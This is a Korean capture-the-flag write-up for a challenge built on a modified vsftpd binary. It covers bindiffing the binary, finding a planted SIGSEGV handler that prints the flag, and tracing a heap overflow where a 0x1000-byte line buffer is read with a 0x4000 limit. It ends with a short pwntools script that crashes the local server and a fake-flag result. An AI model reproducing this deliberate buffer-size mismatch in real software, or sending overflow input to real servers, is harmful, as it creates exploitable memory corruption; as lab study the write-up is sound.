
Bindiff
vsftpd vs vvsftpd
vsftpd는 원본 ftp 서버 바이너리 파일, vvsftpd는 수정된 ftp 서버 바이너리 파일로 보인다.

수정된 vvsftpd init_connection 함수를 살펴보면, 첫줄에 다음 코드가 추가되있다.
- 11 = SIGSEGV (segmantation fault)
signal(11, (__sighandler_t)getFlag);
- getFlag(): flag 출력
void __cdecl __noreturn getFlag() { int fd; // [rsp+Ch] [rbp-34h] char flag[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); fd = open("flag", 0); memset(flag, 0, 32); read(fd, flag, 0x20u); printf("500 OOPS: %s\n", flag); exit(1); }
문제서버 환경 구축
strace를 통해 vvsftpd 바이너리를 실행시키면, /etc/vsftpd.conf 파일을 불러오기 때문에
문제파일에서 제공된 vvsftpd.conf을 거기다 복붙해주면 된다.
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ sudo strace ./vvsftpd ... newfstatat(AT_FDCWD, "/etc/vsftpd.conf", 0x603123e264c0, 0) = -1 ENOENT (No such file or directory) ...
vvsftpd.conf
- anonymous 로그인 가능
listen=YES seccomp_sandbox=NO one_process_model=YES # User management anonymous_enable=YES no_anon_password=YES nopriv_user=nobody ftp_username=nobody # Permissions connect_from_port_20=NO run_as_launching_user=YES listen_port=5000 #anon_mkdir_write_enable=YES anon_root=/tmp/ftp # Filesystem interactions write_enable=YES download_enable=NO
Analysis
5000 포트에 접속하고 아무 문자를 입력하면, ”530 Please login with USER and PASS.” 문자열을 출력한다.
역참조해서 따라가보자
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000 220 (vvsFTPd 3.1.3.3.7) s 530 Please login with USER and PASS.
해당 문자열은 parse_username_password 함수에서 참조되고 있었다.
여기서 “USER”를 커맨드로 받고, arg는 커맨드 띄어쓰기 이후를 가리킨다.
void __cdecl __noreturn parse_username_password(vsf_session *p_sess) { while ( 1 ) { while ( 1 ) { vsf_cmdio_get_cmd_and_arg(p_sess, &p_sess->ftp_cmd_str, &p_sess->ftp_arg_str, 1); if ( !tunable_ftp_enable ) break; if ( str_equal_text((const mystr_0 *)&p_sess->ftp_cmd_str, "USER") ) { handle_user_command(p_sess); } ...
USER ABCD를 넣었을떄, anonymous로만 로그인 가능하다고 뜬다.
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000 220 (vvsFTPd 3.1.3.3.7) USER ABCD 530 This FTP server is anonymous only.
USER anonymous를 넣었을때, 로그인에 성공한다.
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ nc 127.0.0.1 5000 220 (vvsFTPd 3.1.3.3.7) USER anonymous 230 Login successful.
근데 사실상, 문제점은 아래와 같다.
맨 처음에 init_connection
에 의해 parse_username_password
함수를 호출한다.
이후 vsf_cmdio_get_cmd_and_arg
, control_getline
차례로 호출되는데,
여기서 control_getline
에서 vsf_secbuf_alloc(&p_sess->p_control_line_buf, 0x1000u);
에 의해 커맨드 라인 버퍼인 p_sess->p_control_line_buf
를 0x1000만큼 할당받지만,str_netfd_alloc
호출할때, 매개변수가 0x4000으로 넘겨져 입력받을 크기가 훨씬 많아 힙 버퍼오버플로우가 발생한다.
void __cdecl __noreturn init_connection(vsf_session *p_sess) { signal(11, (__sighandler_t)getFlag); if ( tunable_setproctitle_enable ) vsf_sysutil_setproctitle("not logged in"); vsf_cmdio_set_alarm(p_sess); check_limits(p_sess); if ( tunable_ssl_enable && tunable_implicit_ssl ) ssl_control_handshake(p_sess); if ( tunable_ftp_enable ) emit_greeting(p_sess); parse_username_password(p_sess); }
void __cdecl __noreturn parse_username_password(vsf_session *p_sess) { while ( 1 ) { while ( 1 ) { vsf_cmdio_get_cmd_and_arg(p_sess, &p_sess->ftp_cmd_str, &p_sess->ftp_arg_str, 1); ...
void __cdecl vsf_cmdio_get_cmd_and_arg(vsf_session *p_sess, mystr *p_cmd_str, mystr *p_arg_str, int set_alarm) { int ret; // [rsp+2Ch] [rbp-4h] if ( set_alarm ) vsf_cmdio_set_alarm(p_sess); ret = control_getline(p_cmd_str, p_sess);
int __cdecl control_getline(mystr *p_str, vsf_session *p_sess) { unsigned int len; // [rsp+18h] [rbp-8h] int ret; // [rsp+1Ch] [rbp-4h] if ( !p_sess->p_control_line_buf ) vsf_secbuf_alloc(&p_sess->p_control_line_buf, 0x1000u); ret = ftp_getline(p_sess, p_str, p_sess->p_control_line_buf); if ( !ret ) return 0; if ( ret < 0 ) vsf_cmdio_write_exit(p_sess, 500, "Input line too long.", 1); str_replace_char((mystr_0 *)p_str, 0, 10); for ( len = str_getlen((const mystr_0 *)p_str); len && str_get_char_at((const mystr_0 *)p_str, len - 1) == 13; --len ) str_trunc((mystr_0 *)p_str, len - 1); return 1; }
int __cdecl ftp_getline(vsf_session *p_sess, mystr *p_str, char *p_buf) { int ret; // [rsp+2Ch] [rbp-14h] int (*p_peek)(vsf_session *, char *, unsigned int); // [rsp+30h] [rbp-10h] int (*p_read)(vsf_session *, char *, unsigned int); // [rsp+38h] [rbp-8h] if ( p_sess->control_use_ssl && p_sess->ssl_slave_active ) { priv_sock_send_cmd(p_sess->ssl_consumer_fd, 4); ret = priv_sock_get_int(p_sess->ssl_consumer_fd); if ( ret >= 0 ) priv_sock_get_str(p_sess->ssl_consumer_fd, p_str); return ret; } else { p_peek = (int (*)(vsf_session *, char *, unsigned int))plain_peek_adapter; p_read = (int (*)(vsf_session *, char *, unsigned int))plain_read_adapter; if ( p_sess->control_use_ssl ) { p_peek = (int (*)(vsf_session *, char *, unsigned int))ssl_peek_adapter; p_read = (int (*)(vsf_session *, char *, unsigned int))ssl_read_adapter; } return str_netfd_alloc(p_sess, p_str, 10, p_buf, 0x4000u, p_peek, p_read); } }
int __cdecl str_netfd_alloc( vsf_session *p_sess, mystr *p_str, char term, char *p_readbuf, unsigned int maxlen, str_netfd_read_t p_peekfunc, str_netfd_read_t p_readfunc) { unsigned int i; // [rsp+38h] [rbp-18h] unsigned int ia; // [rsp+38h] [rbp-18h] unsigned int left; // [rsp+3Ch] [rbp-14h] unsigned int retval; // [rsp+40h] [rbp-10h] int retvala; // [rsp+40h] [rbp-10h] int retvalb; // [rsp+40h] [rbp-10h] unsigned int bytes_read; // [rsp+44h] [rbp-Ch] char *p_readpos; // [rsp+48h] [rbp-8h] p_readpos = p_readbuf; left = maxlen; str_empty((mystr_0 *)p_str); LABEL_2: if ( &p_readpos[left] != &p_readbuf[maxlen] )
solve.py
힙 오버플로우를 발생시켜 11 = SIGSEGV (segmantation fault) 시그널 발생 유도.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("127.0.0.1", 5000) p.sendline(b'A'*0x4000) p.interactive()
Result
ubuntu@2d0f4d9a440c:~/hto2024/findiff$ python3 solve.py [+] Opening connection to 127.0.0.1 on port 5000: Done [*] Switching to interactive mode 220 (vvsFTPd 3.1.3.3.7) 500 OOPS: flag{fake_flag} [*] Got EOF while reading in interactive $